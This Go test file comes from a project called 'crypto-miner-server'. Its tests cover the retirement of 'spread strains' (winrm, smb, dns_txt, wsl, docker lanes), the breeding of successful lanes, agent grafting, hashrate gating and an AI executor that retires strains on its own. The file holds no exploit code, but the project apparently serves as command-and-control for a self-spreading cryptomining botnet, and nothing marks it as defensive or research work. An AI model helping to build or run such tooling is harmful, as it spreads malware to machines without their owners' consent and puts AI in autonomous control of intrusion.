package api import ( "bytes" "encoding/json" "net/http" "net/http/httptest" "strings" "testing" "time" fleetai "crypto-miner-server/internal/ai" "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" "crypto-miner-server/internal/strategy" ) func TestPostStrainHospiceOperatorRetirement(t *testing.T) { fh, database, hub, _ := newTestFleetHandler(t) strain := strategy.StrainFromSpreadLane("winrm") cardJSON := `{"id":"c1","spread_strain":"` + strain + `","wins":["docker"],"losses":["wsl","winrm"]}` _, err := database.UpsertStrainCard("root-1", "agent-1", []byte(cardJSON), db.StoredStrainCard{ SpreadStrain: strain, SpreadLane: "winrm", Persona: "aggressive", }) if err != nil { t.Fatal(err) } body, _ := json.Marshal(map[string]string{ "strain_id": strain, "reason": "dozens of variations that don't work", }) req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/strain-hospice", bytes.NewReader(body)) req.Header.Set("Content-Type", "application/json") w := httptest.NewRecorder() fh.PostStrainHospice(w, req) if w.Code != http.StatusOK { t.Fatalf("status=%d body=%s", w.Code, w.Body.String()) } ok, err := database.IsStrainInHospice(strain) if err != nil || !ok { t.Fatalf("strain not in hospice: ok=%v err=%v", ok, err) } rec, err := database.GetStrainHospice(strain) if err != nil || rec.RetiredBy != string(strategy.StrainRetiredByOperator) { t.Fatalf("record=%+v err=%v", rec, err) } if !strings.Contains(rec.CardJSON, `"wins"`) { t.Fatalf("lineage card not preserved: %s", rec.CardJSON) } rows, err := database.ListOathLedger(5) if err != nil || len(rows) == 0 { t.Fatalf("oath ledger rows=%v err=%v", rows, err) } if rows[0].ActionType != db.OathStrainHospice { t.Fatalf("oath action=%q", rows[0].ActionType) } hub.refreshHospiceBreedingCache() reg := hub.breedingRegistry fp := "windows|0|0|0|0|0|127.0.0" _, bred := reg.RecordLaneWinner(strategy.LaneWinnerInput{ Fingerprint: fp, SpreadLane: "winrm", TierOrder: []string{"container"}, PeakHashrate: 100, }) if bred { t.Fatal("hospice lane should not breed") } } func TestPlayStrainCardBlockedInHospice(t *testing.T) { fh, database, hub, _ := newTestFleetHandler(t) strain := strategy.StrainFromSpreadLane("dns_txt") if err := database.RetireStrain(strain, "operator", "test", `{"spread_strain":"`+strain+`"}`); err != nil { t.Fatal(err) } agent := &models.Agent{ID: "target", Name: "Target", Status: "online", LastSeen: time.Now().UTC()} if err := database.UpsertAgent(agent); err != nil { t.Fatal(err) } cardJSON := `{"id":"card-1","spread_strain":"` + strain + `","persona":"persuasive","tier_order":["dns_txt"]}` id, err := database.UpsertStrainCard("root", "src", []byte(cardJSON), db.StoredStrainCard{ SpreadStrain: strain, SpreadLane: "dns_txt", }) if err != nil { t.Fatal(err) } _ = hub body, _ := json.Marshal(map[string]string{"agent_id": "target", "card_id": id}) req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/play-strain-card", bytes.NewReader(body)) req.Header.Set("Content-Type", "application/json") w := httptest.NewRecorder() fh.PostPlayStrainCard(w, req) if w.Code != http.StatusConflict { t.Fatalf("expected 409, got %d %s", w.Code, w.Body.String()) } } func TestGraftBlockedFromHospiceSource(t *testing.T) { fh, database, hub, _ := newTestFleetHandler(t) hub.SetServerPolicy(ServerPolicy{AIControlEnabled: true, FleetRolesEnabled: true, HashrateGateHPS: 1}) strain := strategy.StrainFromSpreadLane("winrm") if err := database.RetireStrain(strain, "operator", "test", "{}"); err != nil { t.Fatal(err) } source := &models.Agent{ ID: "src", Name: "Src", Status: "online", JoinLane: "winrm", SpreadStrain: strain, MiningHashrate: 500, LastSeen: time.Now().UTC(), } target := &models.Agent{ ID: "tgt", Name: "Tgt", Status: "online", MiningHashrate: 500, LastSeen: time.Now().UTC(), } for _, a := range []*models.Agent{source, target} { if err := database.UpsertAgent(a); err != nil { t.Fatal(err) } } hub.mu.Lock() hub.agentLiveTelemetry["tgt"] = map[string]interface{}{"mining_hashrate": 500.0} hub.mu.Unlock() body, _ := json.Marshal(map[string]string{"source_agent_id": "src", "target_agent_id": "tgt"}) req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/graft", bytes.NewReader(body)) req.Header.Set("Content-Type", "application/json") w := httptest.NewRecorder() fh.PostFleetGraft(w, req) var resp map[string]interface{} _ = json.Unmarshal(w.Body.Bytes(), &resp) if resp["success"] == true { t.Fatalf("graft should fail for hospice source: %s", w.Body.String()) } } func TestMaybeAutoRetireLowWinStrains(t *testing.T) { _, database, hub, _ := newTestFleetHandler(t) hub.SetServerPolicy(ServerPolicy{ AIControlEnabled: true, StrainHospiceWinRateThreshold: 0.2, StrainHospiceMinAttempts: 3, }) strain := "#deadbeef" cardJSON := `{"spread_strain":"` + strain + `","wins":["a"],"losses":["b","c","d","e"]}` _, err := database.UpsertStrainCard("r1", "a1", []byte(cardJSON), db.StoredStrainCard{SpreadStrain: strain}) if err != nil { t.Fatal(err) } hub.MaybeAutoRetireLowWinStrains() ok, err := database.IsStrainInHospice(strain) if err != nil || !ok { t.Fatalf("expected AI auto hospice, ok=%v err=%v", ok, err) } } func TestFleetAIExecutorStrainHospiceCourtCommand(t *testing.T) { _, database, hub, _ := newTestFleetHandler(t) strain := strategy.StrainFromSpreadLane("smb") ag := &models.Agent{ ID: "court-agent", Name: "Court", Status: "online", SpreadStrain: strain, JoinLane: "smb", LastSeen: time.Now().UTC(), } if err := database.UpsertAgent(ag); err != nil { t.Fatal(err) } exec := &FleetAIExecutor{Hub: hub} sum, err := exec.Execute("court-agent", fleetai.Command{ Type: fleetai.CmdStrainHospice, Args: map[string]interface{}{"reason": "court L4 hospice vote"}, }) if err != nil { t.Fatal(err) } if !strings.Contains(sum, "strain_hospice:") { t.Fatalf("unexpected summary %q", sum) } ok, _ := database.IsStrainInHospice(strain) if !ok { t.Fatal("court command should retire strain") } }